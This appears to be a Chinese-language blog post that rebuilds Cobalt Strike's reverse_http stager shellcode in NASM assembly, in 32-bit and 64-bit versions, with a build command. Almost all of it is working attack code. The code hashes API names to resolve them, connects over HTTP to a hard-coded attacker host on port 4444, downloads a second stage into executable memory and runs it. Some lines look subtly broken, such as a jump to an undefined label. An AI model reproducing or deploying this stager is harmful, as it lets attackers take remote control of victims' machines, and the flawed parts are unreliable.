说明

CobaltStrike 中的 ShellCode 是参照了 MSF 中的 ShellCode 源码,最终看 sRDI 是否成功。

相关代码

以下列出示例中的部分:

stager_reverse_http.asm

[BITS 32]
[ORG 0]
    cld                                             ; 清除方向标志位
    call start                                      ; 调用 start,将 block_api 地址压入栈中
%include "./src/block/block_api.asm"
start:
    pop ebp                                         ; 此时 ebp 存储的是 block_api 的地址
%include "./src/block/block_reverse_http.asm"

block_api.asm

;-----------------------------------------------------------------------------;
; https://www.vergiliusproject.com/
;-----------------------------------------------------------------------------;
[BITS 32]
api_call:
    pushad                              ; 保护现场,除了 eax 和 ecx
    mov ebp, esp                        ; 开辟栈帧
    xor edx, edx                        ; 将 edx 清零
    mov edx, [fs:edx+0x30]              ; 获取 PEB 结构指针
    mov edx, [edx+0xc]                  ; 获取 PEB->Ldr 结构指针 (_LDR_DATA_TABLE)
    mov edx, [edx+0x14]                 ; 从 PEB->Ldr->InMemoryOrderModuleList (_LIST_ENTRY) 中获取第一个模块 
                                        ; 模块链表 (以内存位置排序)
next_mod:
    ; _LDR_DATA_TABLE_ENTRY -> 偏移 0x24 处 _UNICODE_STRING FullDllName
    ; struct _UNICODE_STRING
    ; {
    ;     USHORT Length;			// 0x0
    ;     USHORT MaximumLength;	    // 0x2
    ;     WCHAR* Buffer;			// 0x4
    ; }
    mov esi, [edx+0x28]                 ; 获取模块名的指针 (unicode 字符串) esi -> Buffer
    movzx ecx, word [edx+0x26]          ; 将 ecx 设置为 Buffer 的长度 (0x24 + 0x2 = 0x26)
    xor edi, edi                        ; edi 清零,edi 将存储模块名的哈希值

loop_modname:
    xor eax, eax                        ; eax 清零
    lodsb                               ; 读取名称的下一个字节
    cmp al, 'a'                         ; 某些版本的 windows 的模块名使用小写
    jl not_lowercase
    sub al, 0x20                        ; 如果是,则标准化大写

not_lowercase:
    ror edi, 0xd                        ; 将哈希值进行 ror
    add edi, eax
    dec ecx
    jnz loop_modname
    ; 现在我们已经有了计算好的模块哈希值,存储在了 edi 中
    push edx                            ; 储存当前模块 _LDR_DATA_TABLE_ENTRY 的指针值
    push edi                            ; 储存当前模块的哈希值
    ; 继续迭代导出表 EAT
    mov edx, [edx+0x10]                 ; _LDR_DATA_TABLE_ENTRY -> DllBase (偏移 0x10 处)
    mov eax, [edx+0x3c]                 ; 获取 PE 头,IMAGE_DOS_HEADER -> e_lfanew (0x3c)
    add eax, edx                        ; 此时 EAX 为模块真正 PE 头
    mov eax, [eax+0x78]                 ; 获取导出表 rva,偏移 0x78
                                        ; NT 头前两个成员 (特征和文件头) 占 0x4 + 0x14 = 0x18 字节
                                        ; NT 头中最后一个成员可选头中前 30 个字段占 0x60 字节
    test eax, eax                       ; 如果不存在导出表
    jz get_next_mod1                    ; 则获取下一个模块
    add eax, edx                        ; 当前模块的 EAT 的 rva 与模块基地址相加
    push eax                            ; 存储 EAT
    mov ecx, [eax+0x18]                 ; 获取 EAT 中函数数量,EAT 结构中偏移 0x18 处
    mov ebx, [eax+0x20]                 ; 获取函数名的 rva
    add ebx, edx                        ; 与模块基地址相加,ebx = 函数 rva + 模块基地址
                                        ; 得到函数地址,存储在 ebx 中
    ; 计算模块哈希和函数名哈希
get_next_func:
    test ecx, ecx                       ; 从 jecxz 更改为适应下面随机 jmps 产生的较大偏移量
    jz get_next_mod                     ; 如果 EAT 函数名数量没有,则处理下一个模块
    dec ecx                             ; 函数数量自减
    mov esi, [ebx+ecx*4]                ; 获取下一个模块的 rva
    add esi, edx                        ; 与模块基地址相加,esi = 模块 rva + 模块基地址
                                        ; 即下一个模块的地址
    xor edi, edi                        ; 将 edi 清零,准备用来存储函数名哈希
    
    ; 与我们想要的那个进行比较
loop_funcname:
    xor eax, eax                        ; 将 eax 清零
    lodsb                               ; 读取函数名 ASCII 的下一个字节 
    ror edi, 0xd                        ; 将哈希值进行 ror
    add edi, eax                        ; 与下一个字节相加
    cmp al, ah                          ; 将 AL (名称的下一个字节) 与 AH (null) 进行比较
    jne loop_funcname                   ; 如果还没有到达空终止符,继续
    add edi, [ebp-8]                    ; 将当前模块哈希与函数哈希相加
    cmp edi, [ebp+0x24]                 ; 将哈希值与我们要搜索的哈希值进行比较
    jnz get_next_func                   ; 如果没有找到,就去计算下一个函数哈希
    ; 如果找到,则修复堆栈,调用函数,然后计算下一个值
    pop eax                             ; 恢复当前模块的 EAT
    mov ebx, [eax+0x24]                 ; 获取序号表的 rva
    add ebx, edx                        ; 与模块基地址相加
    mov cx, [ebx+ecx*2]                 ; 获取所需的函数序号
    mov ebx, [eax+0x1c]                 ; 获取函数地址表的 rva
    add ebx, edx                        ; 与模块基地址相加
    mov eax, [ebx+ecx*4]                ; 获取所需函数的 rva
    add eax, edx                        ; 与模块基地址相加
    
    ; 修复堆栈并执行对所需函数调用
finish:
    mov [esp+0x24], eax                 ; 使用所需的 API 地址覆盖旧的 eax 值
    pop ebx                             ; 清除当前模块哈希
    pop ebx                             ; 清除模块列表中的当前位置
    popad                               ; 恢复所有被破坏的调用寄存器,除 eax、ecx 和 edx 外
    pop ECX                             ; 恢复
    pop EDX                             ; 恢复
    push ECX                            ; push 正确的返回值
    jmp eax                             ; 跳转到所需的函数那边
    
    ; 现在能返回到正确的调用处
get_next_mod:
    pop eax

get_next_mod1:
    pop edi
    pop edx
    mov edx, [edx]                      ; 获取下一个模块
    jmp next_mod

block_reverse_http.asm

[BITS 32]

; 输入:EBP 必须是 api_call 的地址
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

load_wininet:
    push 0x0074656e        ; Push the bytes 'wininet',0 onto the stack.
    push 0x696e6977        ; ...
    push esp               ; Push a pointer to the "wininet" string on the stack.
    push 0x0726774C        ; LoadLibraryA
    call ebp               ; LoadLibraryA("wininet")

set_retry:
    push byte 8           ; retry 8 times should be enough
    pop edi
    xor ebx, ebx           ; push 8 zeros ([1]-[8])
    mov ecx, edi

push_zeros:
    push ebx
    loop push_zeros

internetopen:
    push 0xA779563A        ; InternetOpenA
    call ebp

internetconnect:
    push byte 3             ; DWORD dwService (INTERNET_SERVICE_HTTP)
    push ebx                ; 密码 (NULL)
    push ebx                ; 用户名 (NULL)
    push dword 4444         ; 端口号
    call got_server_uri     ; double call to get pointer for both server_uri and

server_uri:              ;  server_host; server_uri is saved in EDI for later
    db "/tool", 0x00

got_server_host:
    push eax               ; HINTERNET hInternet
    push 0xC69F8957        ; InternetConnectA
    call ebp

httpopenrequest:
    push dword (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200)
        ; 0x80000000 | ; INTERNET_FLAG_RELOAD
        ; 0x04000000 | ; INTERNET_NO_CACHE_WRITE
        ; 0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
        ; 0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
        ; 0x00000200 | ; INTERNET_FLAG_NO_UI
    push ebx               ; accept types
    push ebx               ; referrer
    push ebx               ; version
    push edi               ; server URI
    push ebx               ; method
    push eax               ; hConnection
    push 0x3B2E55EB        ; HttpOpenRequestA
    call ebp
    xchg esi, eax          ; save hHttpRequest in esi

httpsendrequest:
    push ebx               ; lpOptional length (0)
    push ebx               ; lpOptional (NULL)
    push ebx               ; dwHeadersLength (0)
    push ebx               ; lpszHeaders (NULL)
    push esi               ; hHttpRequest
    push 0x7B18062D        ; HttpSendRequestA
    call ebp
    test eax,eax
    jnz short allocate_memory

try_it_again:
    dec edi
    jnz send_request

failure:
    push 0x56A2B5F0        ; ExitProcess 硬编码
    call ebp

allocate_memory:            ; 分配内存
    push byte 0x40          ; PAGE_EXECUTE_READWRITE
    push 0x1000             ; MEM_COMMIT
    push 0x00400000         ; Stage allocation (8Mb ought to do us)
    push ebx                ; NULL as we dont care where the allocation is
    push 0xE553A458         ; VirtualAlloc
    call ebp                ; VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

download_prep:
    xchg eax, ebx          ; place the allocated base address in ebx
    push ebx               ; store a copy of the stage base address on the stack
    push ebx               ; temporary storage for bytes read count
    mov edi, esp           ; &bytesRead

download_more:
    push EDI                ; &bytesRead
    push 8192               ; read length
    push ebx                ; buffer
    push esi                ; hRequest
    push 0xE2899612         ; InternetReadFile
    call ebp                ; InternetReadFile()

    jz failure

    mov eax, [edi]
    add ebx, eax           ; buffer += bytes_received

    test eax,eax           ; optional?
    jnz download_more      ; continue until it returns 0
    pop eax                ; clear the temporary storage

execute_stage:
    ret                    ; dive into the stored stage address

got_server_uri:
    pop edi
    call got_server_host

server_host:
    db "192.168.1.235", 0x00

汇编使用的是 NASM 汇编,通过查看 MSF 中编译 ShellCode 的脚本,编译命令如下:

nasm -f bin -O3 -o xxxxxxx.bin xxxxxxx.asm

可用此生成的 bin 文件对比 CS 客户端生成相对应的 reverse_http 的二进制作对比。

64 位版本

stager_reverse_http.asm

[BITS 64]
[ORG 0]
    cld                             ; 清除方向标志位
    and rsp, 0xFFFFFFFFFFFFFFF0     ; 确保 RSP 16 字节对齐
    call start                      ; 调用 start,将 api_call 地址压入栈中
%include "./src/block/block_api.asm"
start:
  pop rbp                           ; 此时 rbp 存储的是 api_call 的地址
%include "./src/block/block_reverse_http.asm"

block_api.asm

[BITS 64]

; Windows x64 calling convention:
; http://msdn.microsoft.com/en-us/library/9b372w95.aspx

; Input: The hash of the API to call in r10d and all its parameters (rcx/rdx/r8/r9/any stack params)
; Output: The return value from the API call will be in RAX.
; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11
; Un-Clobbered: RBX, RSI, RDI, RBP, R12, R13, R14, R15.
;               RSP will be off by -40 hence the 'add rsp, 40' after each call to this function
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.

api_call:
    push r9
    push r8
    push rdx
    push rcx
    push rsi
    xor rdx, rdx
    mov rdx, [gs:rdx+0x60]      ; 获取 PEB 结构指针
    mov rdx, [rdx+0x18]         ; 获取 PEB->Ldr 结构指针
    mov rdx, [rdx+0x20]         ; 从 PEB->Ldr->InMemoryOrderModuleList 中获取第一个模块

next_mod:
    ; _LDR_DATA_TABLE_ENTRY -> 偏移 0x48 处 _UNICODE_STRING FullDllName
    ; struct _UNICODE_STRING
    ; {
    ;     USHORT Length;			// 0x0
    ;     USHORT MaximumLength;	    // 0x2
    ;     WCHAR* Buffer;			// 0x8
    ; };
    movzx rcx, word [rdx+0x4a]  ; 将 rcx 设置为长度 (0x48 + 0x8 = 0x4a)
    mov rsi, [rdx+0x50]         ; 获取模块名的指针 (unicode 字符串) -> Buffer
    mov r9d, 0                  ; 用 r9 来存储模块哈希

loop_modname:
    xor rax, rax                ; 清除 rax
    lodsb                       ; 读取名称的下一个字节
    cmp al, 'a'                 ; 某些版本的 windows 的模块名使用小写
    jl not_lowercase            ;
    sub al, 0x20                ; 如果是,则标准化大写

not_lowercase:
    ror r9d, 0xd                ; 将哈希值进行 ror
    add r9d, eax
    loop loop_modname
    ; 现在我们已经有了计算好的模块哈希值 -> r9d
    push rdx                    ; 储存当前模块 _LDR_DATA_TABLE_ENTRY 的指针值
    push r9                     ; 储存当前模块的哈希值
    ; 继续迭代导出表 EAT
    mov rdx, [rdx+0x20]         ; 获取模块基地址
    mov eax, dword [rdx+0x3c]   ; 获取 PE 头
    add rax, rdx                ; 加上模块基地址
    cmp word [rax+0x18], 0x020B ; 判断模块是否为 64 位
  ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
  ; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
  ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
    jne get_next_mod1           ; 如果不是,则进入到下一个模块
    mov eax, dword [rax+0x88]   ; 获取导出表 RVA
    test rax, rax               ; 如果不存在导出表
    jz get_next_mod1            ; 则获取下一个模块
    add rax, rdx                ; 当前模块的 EAT 的 RVA 与模块基地址相加
    push rax                    ; 存储 EAT
    mov ecx, dword [rax+0x18]   ; 获取 EAT 中函数数量
    mov r8d, dword [rax+0x20]   ; 获取函数名的 RVA
    add r8, rdx                 ; 与模块基地址相加,得到函数地址,存储在 r8 中
    
    ; 计算模块哈希和函数名哈希
get_next_func:
    jrcxz get_next_mod          ; When we reach the start of the EAT (we search backwards), process the next module
    dec rcx                     ; Decrement the function name counter
    xor r9, r9
    mov esi, dword [r8+rcx*0x4] ; Get rva of next module name
    add rsi, rdx                ; Add the modules base address
    ;mov r9d, [rsp+0x8]          ; Initialize the current function hash to the module hash
  
    ; And compare it to the one we want
loop_funcname:
    xor rax, rax                ; rax 清零
    lodsb                       ; 获取函数名称下一个字符 ASCII 字节
    ror r9d, 0xd                ; 哈希值进行 ror
    add r9d, eax                ; Add the next byte of the name
    cmp al, ah                  ; Compare AL (the next byte from the name) to AH (null)
    jne loop_funcname           ; If we have not reached the null terminator, continue
    add r9, qword [rsp+8]
    cmp r9d, r10d               ; 与我们给出的函数名哈希进行比较
    jnz get_next_func           ; 如果不相等则继续一下函数哈希值比较
    ; 如果相等,则找到了,修复栈  call the function and then value else compute the next one...
    pop rax                     ; Restore the current modules EAT
    mov r8d, dword [rax+0x24]   ; 获取序号表的 RVA
    add r8, rdx                 ; 加上模块基地址
    mov cx, [r8+0x2*rcx]        ; Get the desired functions ordinal
    mov r8d, dword [rax+0x1c]   ; 获取地址表 RVA
    add r8, rdx                 ; 加上模块基地址
    mov eax, dword [r8+0x4*rcx] ; Get the desired functions RVA
    add rax, rdx                ; Add the modules base address to get the functions actual VA
  
    ; We now fix up the stack and perform the call to the drsired function...
finish:
    pop r8                      ; Clear off the current modules hash
    pop r8                      ; Clear off the current position in the module list
    pop rsi                     ; Restore RSI
    pop rcx                     ; Restore the 1st parameter
    pop rdx                     ; Restore the 2nd parameter
    pop r8                      ; Restore the 3rd parameter
    pop r9                      ; Restore the 4th parameter
    pop r10                     ; pop off the return address
    sub rsp, 0x20               ; reserve space for the four register params (4 * sizeof(QWORD) = 0x20)
                                ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
    push r10                    ; push back the return address
    jmp rax                     ; Jump into the required function
  
    ; We now automagically return to the correct caller...
get_next_mod:
    pop rax                     ; Pop off the current (now the previous) modules EAT

get_next_mod1:
    pop r9                      ; Pop off the current (now the previous) modules hash
    pop rdx                     ; Restore our position in the module list
    mov rdx, [rdx]              ; 获取下一个模块
    jmp next_mod

block_reverse_http.asm

[BITS 64]

; 输入:RBP 必须是 api_call 的地址
; 输出:RDI 连接服务器的 socket
; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15

load_wininet:
    push byte 0
    mov r14, 'wininet'
    push r14               ; 把 'wininet',0 放入栈中
    mov r14, rsp           ; 保存 'wininet' 字符串地址
    mov rcx, r14           ; 设置参数,rcx = 'wininet' 地址
    mov r10, 0x0726774C    ; LoadLibraryA 函数哈希值
    call rbp               ; LoadLibraryA("wininet")

internetopen:
  push byte 0            ; alignment
  push byte 0            ; NULL pointer
  mov rcx, rsp           ; LPCTSTR lpszAgent ("\x00")
  xor rdx, rdx           ; DWORD dwAccessType (PRECONFIG = 0)
  xor r8, r8             ; LPCTSTR lpszProxyName
  xor r9, r9             ; LPCTSTR lpszProxyBypass
  push r8                ; DWORD dwFlags
  push r8                ; alignment
  mov r10, 0xA779563A    ; hash( "wininet.dll", "InternetOpenA" )
  call rbp

  jmp dbl_get_server_host

internetconnect:
  pop rdx                ; LPCTSTR lpszServerName
  mov rcx, rax           ; HINTERNET hInternet
  mov r8, 4444           ; PORT
  xor r9, r9             ; LPCTSTR lpszUsername
  push r9                ; DWORD_PTR dwContext (NULL)
  push r9                ; DWORD dwFlags
  push 3                 ; DWORD dwService (INTERNET_SERVICE_HTTP)
  push r9                ; alignment
  mov r10, 0xC69F8957    ; hash( "wininet.dll", "InternetConnectA" )
  call rbp

  jmp get_server_uri

httpopenrequest:
  mov rcx, rax           ; HINTERNET hConnect
  xor rdx, rdx           ; LPCTSTR lpszVerb
  pop r8                 ; LPCTSTR lpszObjectName
  xor r9, r9             ; LPCTSTR lpszVersion
  push rdx               ; DWORD_PTR dwContext
  push qword (0x0000000080000000 | 0x0000000004000000 | 0x0000000000400000 | 0x0000000000200000 |0x0000000000000200) ; dwFlags
    ;0x80000000 | ; INTERNET_FLAG_RELOAD
    ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
    ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
    ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
    ;0x00000200 | ; INTERNET_FLAG_NO_UI
  push rdx               ; LPCTSTR *lplpszAcceptTypes
  push rdx               ; LPCTSTR lpszReferer
  mov r10, 0x3B2E55EB    ; hash( "wininet.dll", "HttpOpenRequestA" )
  call rbp
  mov rsi, rax

retry:
  push byte 10
  pop rdi

httpsendrequest:
  mov rcx, rsi           ; HINTERNET hRequest
  xor rdx, rdx           ; LPCTSTR lpszHeaders
  xor r8, r8             ; DWORD dwHeadersLength
  xor r9, r9             ; LPVOID lpOptional
  push rdx               ; alignment
  push rdx               ; DWORD dwOptionalLength
  mov r10, 0x7B18062D    ; hash( "wininet.dll", "HttpSendRequestA" )
  call rbp
  test eax,eax
  jnz short allocate_memory

try_it_again:
  dec rdi
  jz failure

dbl_get_server_host:
  jmp get_server_host

get_server_uri:
  call httpopenrequest

server_uri:
 db "/tool", 0x00

failure:
  mov r14, 0x56A2B5F0    ; hardcoded to exitprocess for size
  call rbp

allocate_memory:
  xor rcx, rcx           ; LPVOID lpAddress
  mov rdx, 0x00400000    ; SIZE_T dwSize
  mov r8, 0x1000         ; DWORD flAllocationType(MEM_COMMIT)
  mov r9, 0x40           ; DWORD flProtect(PAGE_EXECUTE_READWRITE)
  mov r10, 0xE553A458    ; hash( "kernel32.dll", "VirtualAlloc" )
  call rbp

download_prep:
  xchg rax, rbx          ; place the allocated base address in ebx
  push rbx               ; store a copy of the stage base address on the stack
  push rbx               ; temporary storage for bytes read count
  mov rdi, rsp           ; &bytesRead

download_more:
  mov rcx, rsi           ; HINTERNET hFile
  mov rdx, rbx           ; LPVOID lpBuffer
  mov r8, 8192           ; DWORD dwNumberOfBytesToRead
  mov r9, rdi            ; LPDWORD lpdwNumberOfBytesRead
  mov r10, 0xE2899612    ; hash( "wininet.dll", "InternetReadFile" )
  call rbp
  add rsp, 32            ; clean reserverd space

  test eax,eax           ; download failed? (optional?)
  jz failure

  mov ax, word [rdi]
  add rbx, rax           ; buffer += bytes_received

  test rax,rax           ; optional?
  jnz download_more      ; 继续直到返回 0
  pop rax                ; clear the temporary storage
  pop rax                ; f*cking alignment

execute_stage:
  ret                    ; 返回到之前动态分配地址处

get_server_host:
  call internetconnect

server_host:
  db "192.168.40.128", 0x00